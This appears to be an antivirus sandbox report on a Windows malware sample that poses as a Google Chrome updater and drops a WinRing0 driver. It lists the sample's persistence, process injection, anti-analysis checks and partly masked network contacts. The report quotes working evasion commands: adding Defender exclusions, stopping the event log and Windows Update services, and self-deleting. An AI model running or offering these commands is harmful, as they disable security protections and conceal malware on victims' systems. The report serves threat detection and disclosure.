Technical Information
To ensure autorun and distribution
Sets the following service settings
- [HKLM\SYSTEM\CurrentControlSet\Services\GoogleUpdateTaskMachineQC] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\GoogleUpdateTaskMachineQC] 'ImagePath' = '%ALLUSERSPROFILE%\Google\Chrome\updater.exe'
- [HKLM\SYSTEM\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%WINDIR%\TEMP\nzkjmnkusrok.sys'
Creates the following services
- 'GoogleUpdateTaskMachineQC' %ALLUSERSPROFILE%\Google\Chrome\updater.exe
- 'WinRing0_1_2_0' %WINDIR%\TEMP\nzkjmnkusrok.sys
Malicious functions
To complicate detection of its presence in the operating system,
blocks the following features:
- Windows Event Logging
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData,$env:windir) -ExclusionExtension @('.exe','.dll') -Force
Injects code into
the following system processes:
- <SYSTEM32>\conhost.exe
- %WINDIR%\explorer.exe
Searches for windows to
detect analytical utilities:
- ClassName: 'FilemonClass', WindowName: ''
- ClassName: '', WindowName: 'File Monitor - Sysinternals: www.sysinternals.com'
- ClassName: 'PROCMON_WINDOW_CLASS', WindowName: ''
- ClassName: '', WindowName: 'Process Monitor - Sysinternals: www.sysinternals.com'
- ClassName: 'RegmonClass', WindowName: ''
Modifies file system
Creates the following files
- nul
- %TEMP%\winupdate_20260119_092337_f37e9c1b17bb\runtime.zip
- %TEMP%\winupdate_20260119_092337_f37e9c1b17bb\cmake.zip
- %TEMP%\winupdate_20260119_092337_f37e9c1b17bb\updater.exe
- %TEMP%\__psscriptpolicytest_axvs335i.b3n.ps1
- %TEMP%\__psscriptpolicytest_toy2fnck.yp0.psm1
- %TEMP%\content\2388-4652-updater.exe-09-23-45-809.dump
- %TEMP%\2lotqtis\2lotqtis.0.cs
- %TEMP%\2lotqtis\2lotqtis.cmdline
- %TEMP%\2lotqtis\2lotqtis.out
- %TEMP%\2lotqtis\csc72134e7fef8a45c5905b7833fa69e987.tmp
- %TEMP%\res8837.tmp
- %TEMP%\2lotqtis\2lotqtis.dll
- %TEMP%\content\2388-4652-updater.exe-09-23-47-199.dump
- %TEMP%\content\2388-4652-updater.exe-09-23-47-671.dump
- %TEMP%\content\2388-4652-updater.exe-09-23-47-724.dump
- %TEMP%\content\2388-4652-updater.exe-09-23-47-972.dump
- %TEMP%\content\2388-4652-updater.exe-09-23-48-195.dump
- %TEMP%\__psscriptpolicytest_xdzzppxy.t1c.ps1
- %TEMP%\__psscriptpolicytest_j3cfnhik.eip.psm1
- %TEMP%\content\2388-4652-updater.exe-09-23-50-356.dump
- %TEMP%\content\2388-4652-updater.exe-09-23-50-415.dump
- %TEMP%\content\2388-4652-updater.exe-09-23-50-933.dump
- %TEMP%\content\2388-4652-updater.exe-09-23-52-084.dump
- %TEMP%\content\2388-4652-updater.exe-09-23-52-408.dump
- %TEMP%\content\2388-4652-updater.exe-09-23-52-486.dump
- %TEMP%\content\2388-4652-updater.exe-09-23-52-508.dump
- %TEMP%\content\2388-4652-updater.exe-09-23-52-555.dump
- %TEMP%\content\2388-4652-updater.exe-09-23-52-586.dump
- %TEMP%\content\2388-4652-updater.exe-09-23-52-608.dump
- %TEMP%\content\2388-4652-updater.exe-09-23-52-655.dump
- %ALLUSERSPROFILE%\neptune\extracted\root1.exe
- %ALLUSERSPROFILE%\neptune\extracted\root2.exe
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\updater.exe.log
- %ALLUSERSPROFILE%\neptune\extracted\root3.exe
- %TEMP%\_mei4842\vcruntime140.dll
- %TEMP%\_mei4842\vcruntime140_1.dll
- %TEMP%\_mei4842\_asyncio.pyd
- %TEMP%\_mei4842\_bz2.pyd
- %TEMP%\_mei4842\_ctypes.pyd
- %TEMP%\_mei4842\_decimal.pyd
- %TEMP%\_mei4842\_hashlib.pyd
- %TEMP%\_mei4842\_lzma.pyd
- %TEMP%\_mei4842\_multiprocessing.pyd
- %TEMP%\_mei4842\_overlapped.pyd
- %TEMP%\_mei4842\_queue.pyd
- %TEMP%\_mei4842\_socket.pyd
- %TEMP%\_mei4842\_ssl.pyd
- %TEMP%\_mei4842\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei4842\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei4842\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei4842\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei4842\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei4842\base_library.zip
- %TEMP%\_mei4842\certifi\cacert.pem
- %TEMP%\_mei4842\charset_normalizer\md.cp311-win_amd64.pyd
- %TEMP%\_mei4842\charset_normalizer\md__mypyc.cp311-win_amd64.pyd
- %TEMP%\_mei4842\libcrypto-1_1.dll
- %TEMP%\_mei4842\libffi-8.dll
- %TEMP%\_mei4842\libssl-1_1.dll
- %TEMP%\_mei4842\pyexpat.pyd
- %TEMP%\_mei4842\python311.dll
- %TEMP%\_mei4842\pywin32_system32\pywintypes311.dll
- %TEMP%\_mei4842\select.pyd
- %TEMP%\_mei4842\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\installer
- %TEMP%\_mei4842\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\license
- %TEMP%\_mei4842\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\metadata
- %TEMP%\_mei4842\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\record
- %TEMP%\_mei4842\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\wheel
- %TEMP%\_mei4842\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\top_level.txt
- %TEMP%\_mei4842\setuptools\_vendor\jaraco\text\lorem ipsum.txt
- %TEMP%\_mei4842\ucrtbase.dll
- %TEMP%\_mei4842\unicodedata.pyd
- %TEMP%\_mei4842\wheel-0.45.1.dist-info\installer
- %TEMP%\_mei4842\wheel-0.45.1.dist-info\license.txt
- %TEMP%\_mei4842\wheel-0.45.1.dist-info\metadata
- %TEMP%\_mei4842\wheel-0.45.1.dist-info\record
- %TEMP%\_mei4842\wheel-0.45.1.dist-info\wheel
- %TEMP%\_mei4842\wheel-0.45.1.dist-info\entry_points.txt
- %TEMP%\_mei4842\win32\win32crypt.pyd
- %ALLUSERSPROFILE%\google\chrome\updater.exe
- %WINDIR%\temp\__psscriptpolicytest_k2spj5uy.xuq.ps1
- %WINDIR%\temp\__psscriptpolicytest_eypbyfxp.aa4.psm1
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-51-442.dump
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-51-744.dump
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-51-855.dump
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-52-025.dump
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-52-086.dump
- %WINDIR%\temp\__psscriptpolicytest_a5cayuun.wr1.ps1
- %WINDIR%\temp\__psscriptpolicytest_oif0exhs.ph3.psm1
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-52-320.dump
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-52-370.dump
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-52-414.dump
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-52-519.dump
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-52-659.dump
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-52-777.dump
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-52-939.dump
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-52-990.dump
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-53-024.dump
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-53-105.dump
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-53-159.dump
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-53-221.dump
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-53-278.dump
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-53-719.dump
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-53-781.dump
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-53-819.dump
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-53-835.dump
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-53-866.dump
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-53-904.dump
- %WINDIR%\temp\content\4468-1872-powershell.exe-09-24-53-998.dump
- <SYSTEM32>\config\systemprofile\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive
- %WINDIR%\temp\qbafufdsigxp.sys
Deletes following files that it created itself
- %TEMP%\__psscriptpolicytest_axvs335i.b3n.ps1
- %TEMP%\__psscriptpolicytest_toy2fnck.yp0.psm1
- %TEMP%\res8837.tmp
- %TEMP%\2lotqtis\csc72134e7fef8a45c5905b7833fa69e987.tmp
- %TEMP%\2lotqtis\2lotqtis.0.cs
- %TEMP%\2lotqtis\2lotqtis.cmdline
- %TEMP%\2lotqtis\2lotqtis.dll
- %TEMP%\2lotqtis\2lotqtis.out
- %TEMP%\winupdate_20260119_092337_f37e9c1b17bb\updater.exe
- %TEMP%\__psscriptpolicytest_xdzzppxy.t1c.ps1
- %TEMP%\__psscriptpolicytest_j3cfnhik.eip.psm1
- %TEMP%\winupdate_20260119_092337_f37e9c1b17bb\runtime.zip
- %ALLUSERSPROFILE%\neptune\cmake.zip
- %TEMP%\_mei4842\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei4842\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei4842\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei4842\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei4842\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei4842\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei4842\base_library.zip
- %TEMP%\_mei4842\certifi\cacert.pem
- %TEMP%\_mei4842\charset_normalizer\md.cp311-win_amd64.pyd
- %TEMP%\_mei4842\charset_normalizer\md__mypyc.cp311-win_amd64.pyd
- %TEMP%\_mei4842\libcrypto-1_1.dll
- %TEMP%\_mei4842\libffi-8.dll
- %TEMP%\_mei4842\libssl-1_1.dll
- %TEMP%\_mei4842\pyexpat.pyd
- %TEMP%\_mei4842\python311.dll
- %TEMP%\_mei4842\pywin32_system32\pywintypes311.dll
- %TEMP%\_mei4842\select.pyd
- %TEMP%\_mei4842\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\installer
- %TEMP%\_mei4842\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\license
- %TEMP%\_mei4842\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\metadata
- %TEMP%\_mei4842\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\record
- %TEMP%\_mei4842\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\top_level.txt
- %TEMP%\_mei4842\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\wheel
- %TEMP%\_mei4842\setuptools\_vendor\jaraco\text\lorem ipsum.txt
- %TEMP%\_mei4842\ucrtbase.dll
- %TEMP%\_mei4842\unicodedata.pyd
- %TEMP%\_mei4842\vcruntime140.dll
- %TEMP%\_mei4842\vcruntime140_1.dll
- %TEMP%\_mei4842\wheel-0.45.1.dist-info\entry_points.txt
- %TEMP%\_mei4842\wheel-0.45.1.dist-info\installer
- %TEMP%\_mei4842\wheel-0.45.1.dist-info\license.txt
- %TEMP%\_mei4842\wheel-0.45.1.dist-info\metadata
- %TEMP%\_mei4842\wheel-0.45.1.dist-info\record
- %TEMP%\_mei4842\wheel-0.45.1.dist-info\wheel
- %TEMP%\_mei4842\win32\win32crypt.pyd
- %TEMP%\_mei4842\_asyncio.pyd
- %TEMP%\_mei4842\_bz2.pyd
- %TEMP%\_mei4842\_ctypes.pyd
- %TEMP%\_mei4842\_decimal.pyd
- %TEMP%\_mei4842\_hashlib.pyd
- %TEMP%\_mei4842\_lzma.pyd
- %TEMP%\_mei4842\_multiprocessing.pyd
- %TEMP%\_mei4842\_overlapped.pyd
- %TEMP%\_mei4842\_queue.pyd
- %TEMP%\_mei4842\_socket.pyd
- %TEMP%\_mei4842\_ssl.pyd
- %WINDIR%\temp\__psscriptpolicytest_k2spj5uy.xuq.ps1
- %WINDIR%\temp\__psscriptpolicytest_eypbyfxp.aa4.psm1
- %WINDIR%\temp\__psscriptpolicytest_a5cayuun.wr1.ps1
- %WINDIR%\temp\__psscriptpolicytest_oif0exhs.ph3.psm1
Moves the following files
- from %TEMP%\winupdate_20260119_092337_f37e9c1b17bb\cmake.zip to %ALLUSERSPROFILE%\neptune\cmake.zip
- from %ALLUSERSPROFILE%\neptune\extracted\root1.exe to %ALLUSERSPROFILE%\neptune\falcon.exe
- from %ALLUSERSPROFILE%\neptune\extracted\root2.exe to %ALLUSERSPROFILE%\neptune\summer.exe
- from %ALLUSERSPROFILE%\neptune\extracted\root3.exe to %ALLUSERSPROFILE%\neptune\dispute.exe
Network activity
Connects to
- 'po###.#atericofhal.rest':443
- 'ip##pi.com':80
- 'ra####manial.autos':187
- '45.##3.34.36':80
TCP
HTTP GET requests
- http://ip##pi.com/json/?fi###################################################
Other
- 'po###.#atericofhal.rest':443
- 'ra####manial.autos':187
UDP
- DNS ASK po###.#atericofhal.rest
- DNS ASK ip##pi.com
- DNS ASK ra####manial.autos
Miscellaneous
Searches for the following windows
- ClassName: 'Registry Monitor - Sysinternals: www.sysinternals.com' WindowName: ''
- ClassName: '18467-41' WindowName: ''
Creates and executes the following
- '%TEMP%\winupdate_20260119_092337_f37e9c1b17bb\updater.exe'
- '%ALLUSERSPROFILE%\neptune\falcon.exe'
- '%ALLUSERSPROFILE%\neptune\summer.exe'
- '%ALLUSERSPROFILE%\neptune\dispute.exe'
- '%ALLUSERSPROFILE%\google\chrome\updater.exe'
Restarts the analyzed sample
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command " Add-Type -Name WinAPI -Namespace Console -MemberDefinition @\" [DllImport(\"kernel32.dll\")] public static extern IntPtr GetConsoleWindow(); ...
- '<SYSTEM32>\tasklist.exe' /fo csv /nh
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -Command " try { $process = Start-Process -FilePath \"%TEMP%\WinUpdate_20260119_092337_f37e9c1b17bb\updater.exe\" -Verb RunAs -WindowStyle Hidden -PassThru -ErrorAct...
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\2lotqtis\2lotqtis.cmdline"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8837.tmp" "%TEMP%\2lotqtis\CSC72134E7FEF8A45C5905B7833FA69E987.TMP"
- '<SYSTEM32>\attrib.exe' +h %ALLUSERSPROFILE%\Neptune
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -Command " try { Start-Process -FilePath \"%ALLUSERSPROFILE%\Neptune\falcon.exe\" -WindowStyle Hidden -PassThru } catch {}"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -Command " try { Start-Process -FilePath \"%ALLUSERSPROFILE%\Neptune\summer.exe\" -WindowStyle Hidden -PassThru } catch {}"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -Command " try { Start-Process -FilePath \"%ALLUSERSPROFILE%\Neptune\dispute.exe\" -WindowStyle Hidden -PassThru } catch {}"
- '<SYSTEM32>\cmd.exe' /c "cmd /c ping 127.0.0.1 -n 3 > nul & del /f /q "%ALLUSERSPROFILE%\Neptune\dispute.exe""
- '<SYSTEM32>\cmd.exe' /c ping 127.0.0.1 -n 3
- '<SYSTEM32>\ping.exe' 127.0.0.1 -n 3
- '<SYSTEM32>\cmd.exe' /c wusa /uninstall /kb:890830 /quiet /norestart
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\wusa.exe' /uninstall /kb:890830 /quiet /norestart
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\sc.exe' delete "GoogleUpdateTaskMachineQC"
- '<SYSTEM32>\sc.exe' create "GoogleUpdateTaskMachineQC" binpath= "%ALLUSERSPROFILE%\Google\Chrome\updater.exe" start= "auto"
- '<SYSTEM32>\sc.exe' stop eventlog
- '<SYSTEM32>\sc.exe' start "GoogleUpdateTaskMachineQC"
- '%WINDIR%\explorer.exe' SXGaBh4b6qNQIWXs Gruj7gJhahEJ2xHHXzbHcRyxK8osk1GDV+B+kwwjr2rGNRxFkxFHEyclg+i5OfUcHfjUXYdmMVgnmUGs3kPiE3/m8cZIx2qcUYsOmrOVu2ummzt4W9d0HL0dG9UjoEq3l+FAWHVHE2RDMrgL2K02cgiBoGAtS8gCiSMZA9q1PmIL8u4s...
- '<Full path to file>' <Full path to file>' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command " Add-Type -Name WinAPI -Namespace Console -MemberDefinition @\" [DllImport(\"kernel32.dll\")] public static extern IntPtr GetConsoleWindow(); ...' (with hidden window)
- '<SYSTEM32>\tasklist.exe' /fo csv /nh' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -Command " try { $process = Start-Process -FilePath \"%TEMP%\WinUpdate_20260119_092337_f37e9c1b17bb\updater.exe\" -Verb RunAs -WindowStyle Hidden -PassThru -ErrorAct...' (with hidden window)
- '%TEMP%\winupdate_20260119_092337_f37e9c1b17bb\updater.exe' ' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\2lotqtis\2lotqtis.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8837.tmp" "%TEMP%\2lotqtis\CSC72134E7FEF8A45C5905B7833FA69E987.TMP"' (with hidden window)
- '<SYSTEM32>\attrib.exe' +h %ALLUSERSPROFILE%\Neptune' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -Command " try { Start-Process -FilePath \"%ALLUSERSPROFILE%\Neptune\falcon.exe\" -WindowStyle Hidden -PassThru } catch {}"' (with hidden window)
- '%ALLUSERSPROFILE%\neptune\falcon.exe' ' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -Command " try { Start-Process -FilePath \"%ALLUSERSPROFILE%\Neptune\summer.exe\" -WindowStyle Hidden -PassThru } catch {}"' (with hidden window)
- '%ALLUSERSPROFILE%\neptune\summer.exe' ' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -Command " try { Start-Process -FilePath \"%ALLUSERSPROFILE%\Neptune\dispute.exe\" -WindowStyle Hidden -PassThru } catch {}"' (with hidden window)
- '%ALLUSERSPROFILE%\neptune\dispute.exe' ' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "cmd /c ping 127.0.0.1 -n 3 > nul & del /f /q "%ALLUSERSPROFILE%\Neptune\dispute.exe""' (with hidden window)
